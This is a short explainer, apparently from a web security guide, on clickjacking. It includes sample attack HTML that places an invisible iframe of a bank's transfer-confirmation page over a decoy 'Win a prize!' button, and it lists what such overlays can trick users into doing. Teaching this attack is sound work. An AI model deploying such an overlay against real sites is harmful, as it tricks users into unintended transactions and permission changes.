1 Clickjacking via Iframe Overlays
Clickjacking (UI redressing) places a transparent iframe of a legitimate site over an attacker's visible page. The victim sees attractive UI but their clicks go through to hidden elements on the framed site.
Attack HTML:
<style>
iframe {
position: absolute;
width: 500px;
height: 500px;
opacity: 0.0; /* Invisible! */
z-index: 2;
}
.decoy {
position: absolute;
z-index: 1;
}
</style>
<div class="decoy">
<button>Win a prize!</button> <!-- Victim clicks this -->
</div>
<iframe src="https://victim-bank.com/confirm-transfer"></iframe>
<!-- Victim actually clicks the hidden "Confirm Transfer" button -->Clickjacking can trick users into confirming transactions, changing account settings, enabling permissions, or clicking "Like" on social media (likejacking).